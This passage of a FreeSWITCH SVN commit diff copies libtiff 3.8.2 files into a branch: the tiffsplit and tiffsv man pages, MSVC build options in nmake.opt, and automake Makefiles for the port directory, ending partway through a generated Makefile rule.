+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsplit.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+.\" $Id: tiffsplit.1,v 1.5 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1992-1997 Sam Leffler
+.\" Copyright (c) 1992-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSPLIT 1 "September 20, 2005" "libtiff"
+.SH NAME
+tiffsplit \- split a multi-image
+.SM TIFF
+into single-image
+.SM TIFF
+files
+.SH SYNOPSIS
+.B tiffsplit
+.I src.tif
+[
+.I prefix
+]
+.SH DESCRIPTION
+.I tiffsplit
+takes a multi-directory (page)
+.SM TIFF
+file and creates one or more single-directory (page)
+.SM TIFF
+files from it.
+The output files are given names created by concatenating
+a prefix, a lexically ordered
+suffix in the range [\fIaaa\fP-\fIzzz\fP], the suffix
+.I .tif 
+(e.g. 
+.IR xaaa.tif ,
+.IR xaab.tif ,
+\...
+.IR xzzz.tif ).
+If a prefix is not specified on the command line,
+the default prefix of
+.I x
+is used.
+.SH OPTIONS
+None.
+.SH BUGS
+Only a select set of ``known tags'' is copied when splitting.
+.SH "SEE ALSO"
+.BR tiffcp (1),
+.BR tiffinfo (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsv.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsv.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/tiffsv.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsv.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/tiffsv.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,142 @@
+.\" $Id: tiffsv.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSV 1 "September 20, 2005" "libtiff"
+.SH NAME
+tiffsv \- save an image from the framebuffer in a
+.SM TIFF
+file (Silicon Graphics version)
+.SH SYNOPSIS
+.B tiffsv
+[
+.I options
+]
+.I output.tif
+[
+.I "x1 x2 y1 y2"
+]
+.SH DESCRIPTION
+.I tiffsv
+saves all or part of the framebuffer in a file using the
+Tag Image File Format, Revision 6.0.
+By default, the image is saved with data samples packed (\c
+.IR PlanarConfiguration =1),
+compressed with the Lempel-Ziv & Welch algorithm (\c
+.IR Compression =5),
+and with each strip no more than 8 kilobytes.
+These characteristics can be overridden, or explicitly specified
+with the options described below.
+.SH OPTIONS
+.TP
+.B \-b
+Save the image as a greyscale image
+as if it were processed by 
+.IR tiff2bw (1).
+This option is included for compatibility with the standard
+.IR scrsave (6D)
+program.
+.TP
+.B \-c
+Specify the compression to use for data written to the output file:
+.B none 
+for no compression,
+.B packbits
+for PackBits compression,
+.B jpeg
+for baseline JPEG compression,
+.B zip
+for Deflate compression,
+and
+.B lzw
+for Lempel-Ziv & Welch compression (default).
+.IP
+.SM LZW
+compression can be specified together with a 
+.I predictor
+value.
+A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value
+of 1 forces each scanline to be encoded without differencing.
+LZW-specific options are specified by appending a ``:''-separated
+list to the ``lzw'' option; e.g.
+.B "\-c lzw:2"
+for
+.SM LZW
+compression with horizontal differencing.
+.TP
+.B \-p
+Specify the planar configuration to use in writing image data.
+By default,
+.I tiffsv
+will create a new file with the data samples packed contiguously.
+Specifying
+.B "\-p contig"
+will force data to be written with multi-sample data packed
+together, while
+.B "\-p separate"
+will force samples to be written in separate planes.
+.TP
+.B \-r
+Specify the number of rows (scanlines) in each strip of data
+written to the output file.
+By default,
+.I tiffsv
+attempts to set the rows/strip
+that no more than 8 kilobytes of data appear in a strip.
+.SH NOTE
+Except for the use of
+.SM TIFF,
+this program is equivalent to the standard
+.I scrsave
+program.
+This means, for example, that you can use it in conjunction with
+the standard
+.IR icut
+program simply by creating a link called
+.IR scrsave ,
+or by creating a shell script called
+.I scrsave
+that invokes
+.I tiffgt
+with the appropriate options.
+.SH BUGS
+If data are saved compressed and in separate planes, then the
+rows in each strip is silently set to one to avoid limitations
+in the
+.BR libtiff (3TIFF)
+library.
+.SH "SEE ALSO"
+.BR scrsave (6D)
+.BR pal2rgb (1),
+.BR tiffdump (1),
+.BR tiffgt (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/nmake.opt

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/nmake.opt (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/nmake.opt) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/nmake.opt	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/nmake.opt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,214 @@
+# $Id: nmake.opt,v 1.16 2006/03/23 14:54:01 dron Exp $
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Compile time parameters for MS Visual C++ compiler.
+# You may edit this file to specify building options.
+
+#
+###### Edit the following lines to choose a feature set you need. #######
+#
+
+# 
+# Select WINMODE_CONSOLE to build a library which reports errors to stderr, or
+# WINMODE_WINDOWED to build such that errors are reported via MessageBox().
+#
+WINMODE_CONSOLE = 1
+#WINMODE_WINDOWED = 1
+
+#
+# Comment out the following lines to disable internal codecs.
+#
+# Support for CCITT Group 3 & 4 algorithms
+CCITT_SUPPORT	= 1
+# Support for Macintosh PackBits algorithm
+PACKBITS_SUPPORT = 1
+# Support for LZW algorithm
+LZW_SUPPORT	= 1
+# Support for ThunderScan 4-bit RLE algorithm
+THUNDER_SUPPORT	= 1
+# Support for NeXT 2-bit RLE algorithm
+NEXT_SUPPORT	= 1
+# Support for LogLuv high dynamic range encoding
+LOGLUV_SUPPORT	= 1
+
+#
+# Uncomment and edit following lines to enable JPEG support.
+#
+#JPEG_SUPPORT	= 1
+#JPEGDIR 	= d:/projects/jpeg-6b
+#JPEG_INCLUDE	= -I$(JPEGDIR)
+#JPEG_LIB 	= $(JPEGDIR)/Release/jpeg.lib
+
+#
+# Uncomment following lines to enable Old JPEG support
+# (modified IJG JPEG library required, read the contrib\ojpeg\README first).
+#
+#OJPEG_SUPPORT = 1
+
+#
+# Uncomment and edit following lines to enable ZIP support
+# (required for Deflate compression and Pixar log-format)
+#
+#ZIP_SUPPORT	= 1
+#ZLIBDIR 	= d:/projects/zlib-1.2.1
+#ZLIB_INCLUDE	= -I$(ZLIBDIR)
+#ZLIB_LIB 	= $(ZLIBDIR)/zlib.lib
+
+#
+# Uncomment following line to enable Pixar log-format algorithm
+# (Zlib required).
+#
+#PIXARLOG_SUPPORT = 1
+
+#
+# Comment out the following lines to disable strip chopping
+# (whether or not to convert single-strip uncompressed images to mutiple
+# strips of specified size to reduce memory usage). Default strip size
+# is 8192 bytes, it can be configured via the STRIP_SIZE_DEFAULT parameter
+#
+STRIPCHOP_SUPPORT = 1
+STRIP_SIZE_DEFAULT = 8192
+
+#
+# Comment out the following lines to disable treating the fourth sample with
+# no EXTRASAMPLE_ value as being ASSOCALPHA. Many packages produce RGBA
+# files but don't mark the alpha properly.
+#
+EXTRASAMPLE_AS_ALPHA_SUPPORT = 1
+
+#
+# Comment out the following lines to disable picking up YCbCr subsampling
+# info from the JPEG data stream to support files lacking the tag.
+# See Bug 168 in Bugzilla, and JPEGFixupTestSubsampling() for details.
+#
+CHECK_JPEG_YCBCR_SUBSAMPLING = 1
+
+#
+####################### Compiler related options. #######################
+#
+
+#
+# Pick debug or optimized build flags.  We default to an optimized build
+# with no debugging information.
+# NOTE: /GX option required if you want to build the C++ stream API
+#
+OPTFLAGS =	/Ox /MD /GX /W3
+#OPTFLAGS = 	/Zi 
+
+#
+# Uncomment following line to enable using Windows Common RunTime Library
+# instead of Windows specific system calls. See notes on top of tif_unix.c
+# module for details.
+#
+USE_WIN_CRT_LIB = 1
+
+# Compiler specific options. You may probably want to adjust compilation
+# parameters in CFLAGS variable. Refer to your compiler documentation
+# for the option reference.
+#
+MAKE	=	nmake /nologo
+CC	=	cl /nologo
+CXX	=	cl /nologo
+AR	=	lib /nologo
+LD	=	link /nologo
+
+CFLAGS  =	$(OPTFLAGS) $(INCL) $(EXTRAFLAGS)
+CXXFLAGS =	$(OPTFLAGS) $(INCL) $(EXTRAFLAGS)
+EXTRAFLAGS =
+LIBS	=
+
+# Name of the output shared library
+DLLNAME	= libtiff.dll
+
+#
+########### There is nothing to edit below this line normally. ###########
+#
+
+# Set the native cpu bit order
+EXTRAFLAGS	= -DFILLODER_LSB2MSB $(EXTRAFLAGS)
+
+!IFDEF WINMODE_WINDOWED
+EXTRAFLAGS	= -DTIF_PLATFORM_WINDOWED $(EXTRAFLAGS)
+LIBS		= user32.lib $(LIBS)
+!ELSE
+EXTRAFLAGS	= -DTIF_PLATFORM_CONSOLE $(EXTRAFLAGS)
+!ENDIF
+
+# Codec stuff
+!IFDEF CCITT_SUPPORT
+EXTRAFLAGS	= -DCCITT_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF PACKBITS_SUPPORT
+EXTRAFLAGS	= -DPACKBITS_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF LZW_SUPPORT
+EXTRAFLAGS	=  -DLZW_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF THUNDER_SUPPORT
+EXTRAFLAGS	= -DTHUNDER_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF NEXT_SUPPORT
+EXTRAFLAGS	= -DNEXT_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF LOGLUV_SUPPORT
+EXTRAFLAGS	= -DLOGLUV_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF JPEG_SUPPORT
+LIBS		= $(LIBS) $(JPEG_LIB)
+EXTRAFLAGS	= -DJPEG_SUPPORT $(EXTRAFLAGS)
+!IFDEF OJPEG_SUPPORT
+EXTRAFLAGS	= -DOJPEG_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+!ENDIF
+
+!IFDEF ZIP_SUPPORT
+LIBS		= $(LIBS) $(ZLIB_LIB)
+EXTRAFLAGS	= -DZIP_SUPPORT $(EXTRAFLAGS)
+!IFDEF PIXARLOG_SUPPORT
+EXTRAFLAGS	= -DPIXARLOG_SUPPORT $(EXTRAFLAGS)
+!ENDIF
+!ENDIF
+
+!IFDEF STRIPCHOP_SUPPORT
+EXTRAFLAGS	= -DSTRIPCHOP_DEFAULT=TIFF_STRIPCHOP -DSTRIP_SIZE_DEFAULT=$(STRIP_SIZE_DEFAULT) $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF EXTRASAMPLE_AS_ALPHA_SUPPORT
+EXTRAFLAGS	= -DDEFAULT_EXTRASAMPLE_AS_ALPHA $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF CHECK_JPEG_YCBCR_SUBSAMPLING
+EXTRAFLAGS	= -DCHECK_JPEG_YCBCR_SUBSAMPLING $(EXTRAFLAGS)
+!ENDIF
+
+!IFDEF USE_WIN_CRT_LIB
+EXTRAFLAGS	= -DAVOID_WIN32_FILEIO $(EXTRAFLAGS)
+!ELSE
+EXTRAFLAGS	= -DUSE_WIN32_FILEIO $(EXTRAFLAGS)
+!ENDIF

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/port


Name: svn:ignore
   + .deps
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = Makefile.vc
+
+noinst_LTLIBRARIES	= libport.la
+libport_la_SOURCES	= dummy.c
+libport_la_LIBADD	= @LTLIBOBJS@
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/port/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/port/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,501 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = port
+DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in getopt.c \
+	lfind.c strcasecmp.c strtoul.c
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+LTLIBRARIES = $(noinst_LTLIBRARIES)
+libport_la_DEPENDENCIES = @LTLIBOBJS@
+am_libport_la_OBJECTS = dummy.lo
+libport_la_OBJECTS = $(am_libport_la_OBJECTS)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/libtiff -I$(top_builddir)/libtiff
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(libport_la_SOURCES)
+DIST_SOURCES = $(libport_la_SOURCES)
+ETAGS = etags
+CTAGS = ctags
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = Makefile.vc
+noinst_LTLIBRARIES = libport.la
+libport_la_SOURCES = dummy.c
+libport_la_LIBADD = @LTLIBOBJS@
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  port/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  port/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
